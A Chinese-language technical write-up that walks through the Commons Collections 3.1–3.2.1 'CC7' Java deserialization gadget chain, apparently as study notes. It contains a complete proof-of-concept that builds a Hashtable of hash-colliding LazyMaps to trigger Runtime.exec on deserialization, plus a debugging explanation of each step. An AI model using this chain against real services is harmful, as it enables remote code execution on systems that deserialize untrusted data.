jdk暂无限制
CommonsCollections 3.1 - 3.2.1

poc

这次跟着poc来分析,有点绕

  1. package com.yq1ng.cc7;
  2. import org.apache.commons.collections.Transformer;
  3. import org.apache.commons.collections.functors.ChainedTransformer;
  4. import org.apache.commons.collections.functors.ConstantTransformer;
  5. import org.apache.commons.collections.functors.InvokerTransformer;
  6. import org.apache.commons.collections.map.LazyMap;
  7. import org.apache.commons.collections.keyvalue.TiedMapEntry;
  8. import java.io.FileInputStream;
  9. import java.io.FileOutputStream;
  10. import java.io.ObjectInputStream;
  11. import java.io.ObjectOutputStream;
  12. import java.lang.reflect.Field;
  13. import java.util.*;
  14. /**
  15. * @author ying
  16. * @Description
  17. * @create 2021-11-24 9:35
  18. */
  19. public class cc7 {
  20. public static void main(String[] args) throws Exception {
  21. Transformer transformerChain = new ChainedTransformer(new Transformer[]{});
  22. Transformer[] transformers = new Transformer[]{
  23. new ConstantTransformer(Runtime.class),
  24. new InvokerTransformer("getMethod",
  25. new Class[]{String.class, Class[].class},
  26. new Object[]{"getRuntime", new Class[0]}),
  27. new InvokerTransformer("invoke",
  28. new Class[]{Object.class, Object[].class},
  29. new Object[]{null, new Object[0]}),
  30. new InvokerTransformer("exec",
  31. new Class[]{String.class}, new Object[]{"calc"})
  32. };
  33. Map innerMap1 = new HashMap();
  34. Map innerMap2 = new HashMap();
  35. Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
  36. lazyMap1.put("yy", 1);
  37. Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
  38. lazyMap2.put("zZ", 1);
  39. Hashtable hashtable = new Hashtable();
  40. hashtable.put(lazyMap1, 1);
  41. hashtable.put(lazyMap2, 2);
  42. Field field =transformerChain.getClass().getDeclaredField("iTransformers");
  43. field.setAccessible(true);
  44. field.set(transformerChain,transformers);
  45. lazyMap2.remove("yy");
  46. try{
  47. ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc7"));
  48. outputStream.writeObject(hashtable);
  49. outputStream.close();
  50. ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc7"));
  51. inputStream.readObject();
  52. }catch(Exception e){
  53. e.printStackTrace();
  54. }
  55. }
  56. }

老规矩,先试能不能成
image.png

小链子

先看java/util/Hashtable.java#readObject()
image.png
key与value可控,跟进reconstitutionPut()
image.png
先不管e.hash == hash怎么实现,后面这个equals()是重点。通过poc可以知道,e.key是我们传入的LazyMap,而LazyMap是没有equals()的,这就会进入父类org/apache/commons/collections/map/AbstractMapDecorator.java#equels()
image.png
而map我们传入的是HashMap,而HashMap同样没有equals(),看其父类java/util/AbstractMap.java#equals()
image.png
如果m可控的话就可以执行命令了(废话,从poc分析的肯定有)。

分析poc

上面说到入口点为java/util/Hashtable.java#readObject(),接着看看他的writeObject(),看看对我们put的数据有没有进行处理
image.png
正常序列化,key与value都是 put 进去的。然后然序列化的时候再将key与value还原,接着进入reconstitutionPut()
image.png
来看一下reconstitutionPut()实现代码
image.png这个 e 也就是 tab 是能否进入equals()的关键了,但是可以看到,第一次调用的时候他是空的,所以在poc中进行了两次 put(),也就是下图
image.png
poc再往下看
image.png
使用反射设置了transformerChain,以前是直接new一个进去的
image.png
为什么这么麻烦?看java/util/Hashtable.java#put()
image.png
如果直接new一个可以使的chain的话,再 put 的时候就会触发 LazyMap#get()也就是我们构造的恶意链子,这是我们不愿意看到的,所以最后使用了反射设置恶意的chain。
poc最后有一个大大的lazyMap2.remove("yy");什么作用?将其注释以后会发现poc不能弹出计算器。在解释这个之前看一下上面的为什么要put yyzZ,其他的put进去不行(自行尝试
从上面可以知道,只要进入equals()那么一切都好说,但是进去的前提是e.hash == hash
image.png
也就是第二个key的hashCode需要和第一个key的hashCode相同!聪明的你要问为什么不能传入两个一样的值?注意java/util/Hashtable.java#readObject()中的elements变量,他是读取数组原始个数与长度,说白了就是去重后的数组,传入一样的值会使elements==1,这样的话最后的for循环只能执行一次,上面说到第一次进入for也就是reconstitutionPut()的时候table==null,没办法触发chain,所以需要两次才行
image.png
传入相同值调试看看
image.png
image.png
接下来看为什么构造了yyzZ,都是String类型的,直接去java/lang/String.javahashCode()
image.png
这就很明确了,结合下图,经过第一轮 y z 相差了31,而 y Z 又相差31将前面多的补了回来,所以 yy zZ hashCode 相等
image.png
image.png
知道为什么构造yy和zZ后再看lazyMap2.remove("yy");看似谜一样的操作,参考的博客并未说清楚为什么 remove ,仅仅提到m.size() != size()不等就会直接 return,在这也说一下。
首先将lazyMap2.remove("yy");注释掉,然后debug。在java/util/AbstractMap.java#equals()内观察到m.size() != size(),下图为第二次来到这个地方
image.png
这显然是true,然后就会return,gg。跟进size()可以知道他是entrySet()的大小
image.png
entrySet()java/util/HashMap.java中定义,看注释可以知道是返回映射的。程序第二次运行到java/util/AbstractMap.java#equals()的时候hashtableput了两个值进去的,而entrySet()返回了HashMap()的映射只有一个值,自然不等。
当你在`插入如下代码后在运行,查看控制台会惊奇的发现,lazyMap2的值竟然是{zZ=1, yy=yy}`,谁更改了我的代码?

  1. System.out.println("hashtable:"+hashtable);
  2. System.out.println("lazyMap1:"+lazyMap1);
  3. System.out.println("lazyMap2:"+lazyMap2);
  4. System.out.println("========================================");
  5. lazyMap2.remove("yy");
  6. System.out.println("hashtable:"+hashtable);
  7. System.out.println("lazyMap1:"+lazyMap1);
  8. System.out.println("lazyMap2:"+lazyMap2);
  9. System.out.println("========================================");

image.png
为了解决这个困惑,我将put的代码段拿了出来

  1. import org.apache.commons.collections.Transformer;
  2. import org.apache.commons.collections.functors.ChainedTransformer;
  3. import org.apache.commons.collections.map.LazyMap;
  4. import java.util.HashMap;
  5. import java.util.Hashtable;
  6. import java.util.Map;
  7. /**
  8. * @author ying
  9. * @Description
  10. * @create 2021-11-17 1:12 AM
  11. */
  12. public class test {
  13. public static void main(String[] args) {
  14. Transformer transformerChain = new ChainedTransformer(new Transformer[]{});
  15. Map innerMap1 = new HashMap();
  16. Map innerMap2 = new HashMap();
  17. Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
  18. lazyMap1.put("yy", 1);
  19. Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
  20. lazyMap2.put("zZ", 1);
  21. System.out.println("Before lazyMap2:"+lazyMap2);
  22. Hashtable hashtable = new Hashtable();
  23. hashtable.put(lazyMap1, "M1");
  24. System.out.println("========================================");
  25. hashtable.put(lazyMap2, "M2");
  26. System.out.println("After lazyMap2:"+lazyMap2);
  27. System.out.println("========================================");
  28. }
  29. }

image.png
可以看到和上面一样,开始debug。先在hashtable.put(lazyMap2, "M2");打上断点,然后开启debug
image.png
注意此处
image.png
接着在java/util/HashMap.java#put()打上断点,然后 f9 恢复程序,命中断点后看调用堆栈
image.png
先看第二个栈,此时正在put第二个值,对其与第一个值进行比较
image.png
由于两个值都是LazyMap,所以回去调LazyMap#equals(),但是他没有equals(),所以去他的父类寻找此方法
image.png
这里的map其实就是innerMap1,然后来到java/util/AbstractMap.java#equals()
image.png
首先获取了传入Object的映射,此时的 i 也就是innerMap1,键值为yy:1,往下看
image.png
key是innerMap1的key,也就是yy,m是lazyMap2,继续看下一个栈,来到LazyMap#get()
image.png因为lazyMap2没有yy这个键值,所以会put进去一个键值对yy:yy,这就解释了输出的结果,也解释了为什么要lazyMap2.remove("yy");

end

cc7算是分析完了,分析下来还是挺有意思的,虽然是前面的链子复用,但是出现了很多新姿势